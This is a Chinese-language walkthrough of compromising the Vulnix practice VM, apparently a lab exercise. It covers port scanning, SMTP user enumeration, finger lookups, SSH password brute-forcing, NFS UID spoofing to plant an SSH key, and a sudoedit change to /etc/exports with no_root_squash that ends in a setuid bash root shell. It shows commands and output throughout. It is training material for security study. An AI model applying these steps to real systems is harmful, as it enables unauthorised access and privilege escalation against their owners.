靶场搭建
下载下来直接打开就可以
渗透过程
信息初收集
端口开放
22/tcp open ssh
25/tcp open smtp
79/tcp open finger
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
512/tcp open exec
513/tcp open login
514/tcp open shell
993/tcp open imaps
995/tcp open pop3s
2049/tcp open nfs
42015/tcp open mountd 1-3 (RPC #100005)
48393/tcp open nlockmgr 1-4 (RPC #100021)
51280/tcp open mountd 1-3 (RPC #100005)
52109/tcp open status 1 (RPC #100024)
60988/tcp open mountd 1-3 (RPC #100005)
这么多端口我人都傻了,很多见都没见过,思考一下人生
系统信息
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
linux系统的
这种我的思路只有爆破了啊,ssh或者邮箱服务器爆破,ssh爆破是常规操作,smtp爆破需要去收集信息,搜一下脚本
邮箱账号枚举
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/capture/smtp . normal No Authentication Capture: SMTP
1 auxiliary/scanner/http/gavazzi_em_login_loot . normal No Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database
2 auxiliary/client/smtp/emailer . normal No Generic Emailer (SMTP)
3 auxiliary/dos/windows/smtp/ms06_019_exchange 2004-11-12 normal No MS06-019 Exchange MODPROP Heap Overflow
4 auxiliary/scanner/smtp/smtp_version . normal No SMTP Banner Grabber
5 auxiliary/scanner/smtp/smtp_ntlm_domain . normal No SMTP NTLM Domain Extraction
6 auxiliary/scanner/smtp/smtp_relay . normal No SMTP Open Relay Detection
7 auxiliary/fuzzers/smtp/smtp_fuzzer . normal No SMTP Simple Fuzzer
8 auxiliary/scanner/smtp/smtp_enum . normal No SMTP User Enumeration Utility
9 auxiliary/dos/smtp/sendmail_prescan 2003-09-17 normal No Sendmail SMTP Address prescan Memory Corruption
10 auxiliary/vsploit/pii/email_pii . normal No VSploit Email PII
11 auxiliary/scanner/http/wp_easy_wp_smtp 2020-12-06 normal No WordPress Easy WP SMTP Password Reset
12 auxiliary/gather/owncloud_phpinfo_reader 2023-11-21 normal No ownCloud Phpinfo Reader
有一个用户枚举的脚本可以试一下
枚举出以下账号
, backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data
还有一个工具叫做smtp-user-enum
,也可以进行枚举,试一下
┌──(root㉿kali)-[~]
└─# smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.74.142 -m 100
速度比metasploit要快很多
VERY模式经常被禁用,但是在这个靶机上没有,有三个模式,还有RCPT(用来发送邮件),和EXPN(获取用户组信息或展开别名,也可用来验证是否存在)
######## Scan started at Tue Apr 9 08:13:02 2024 #########
192.168.74.142: daemon exists
192.168.74.142: list exists
192.168.74.142: games exists
192.168.74.142: gnats exists
192.168.74.142: backup exists
192.168.74.142: bin exists
192.168.74.142: irc exists
192.168.74.142: mail exists
192.168.74.142: man exists
192.168.74.142: libuuid exists
192.168.74.142: landscape exists
192.168.74.142: news exists
192.168.74.142: messagebus exists
192.168.74.142: lp exists
192.168.74.142: nobody exists
192.168.74.142: postfix exists
192.168.74.142: postmaster exists
192.168.74.142: proxy exists
192.168.74.142: root exists
192.168.74.142: ROOT exists
192.168.74.142: sshd exists
192.168.74.142: sync exists
192.168.74.142: sys exists
192.168.74.142: syslog exists
192.168.74.142: uucp exists
192.168.74.142: user exists
192.168.74.142: whoopsie exists
192.168.74.142: www-data exists
######## Scan completed at Tue Apr 9 08:13:03 2024 #########
拿到了用户名,我们可以通过finger服务看到用户的bash是什么,从而确定哪些用户名是高价值的
┌──(root㉿kali)-[~]
└─# finger root@192.168.74.142
Login: root Name: root
Directory: /root Shell: /bin/bash
Never logged in.
No mail.
No Plan.
┌──(root㉿kali)-[~]
└─# finger user@192.168.74.142
Login: user Name: user
Directory: /home/user Shell: /bin/bash
Never logged in.
No mail.
No Plan.
Login: dovenull Name: Dovecot login user
Directory: /nonexistent Shell: /bin/false
Never logged in.
No mail.
No Plan.
可以看到root和user的shell,确定是高价值账号,那么我们针对他们进行ssh爆破
爆破出user的密码:lemein
那么我们可以ssh登录上去了,尝试sudo,没有权限
看一下home里面有一个vulnix
的用户
利用挂载写入ssh公钥
因为有NFS服务,那么查看一下共享文件夹:showmount --exports 192.168.74.142
发现这个/home/vulnix/*
是共享的,但是我们没有权限查看
那么我们可以在自己的机器上创建一个文件夹 ,挂在到这个文件夹下进行访问
直接访问还是没有权限的,那么我们创建一个具有同样ID的账号就可以进行访问,因为linux是根据ID进行判断的
mount 192.168.74.142:/home/vulnix /mnt/vulnix
生成ssh密钥写入vulnix用户目录中的.ssh
文件夹下的authorized_keys
中
这样就可以使用无密码使用ssh登入vulnix账号,但是我这里kali不知道抽什么风,已经写入了但还是找我要密码,所以我把私钥放入windows机器中进行ssh连接
windows使用私钥进行登入时需要严格限制私钥权限,取消权限继承后,删除除SYSTEM和administrator的权限
后才可以使用私钥进行登录:ssh -i id_rsa vulnix@192.168.74.142
这个时候就已经登录至vulnix账号中
提权
sudo -l
发现有一个不需要密码就能进行的命令:sudoedit /etc/exports
。
这个exprots
文件就是NFS的配置文件,用来记录那个目录通过网络进行共享,既然我们能登录上去,那不如让我们直接把根目录都共享出来。只需要将这个文件修改成一下内容:
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/vulnix *(rw,no_root_squash)
/ *(rw,no_root_squash)
重启一下靶机,挂载根目录发现,哦吼所有的文件都能访问到了!
想要拿到彻底的root权限,可以将目标机器上的bash放到vulnix家目录中,修改权限为4777
,这样运行这个bash能够继承root权限
┌──(root㉿kali)-[~]
└─# cp /mnt/vulnix/bin/bash /mnt/vulnix/home/vulnix
┌──(root㉿kali)-[~]
└─# chmod 4777 /mnt/vulnix/home/vulnix/bash
vulnix@vulnix:~$ ./bash -p
bash-4.2# whoami
root
其中的-p
参数是以特权模式运行,这样才会有root权限
小结
ssh写入公钥的时候,用kali连接怎么也连不上,直到现在我也不知道为什么,问题一定是出现在kali上了。对此感到十分困惑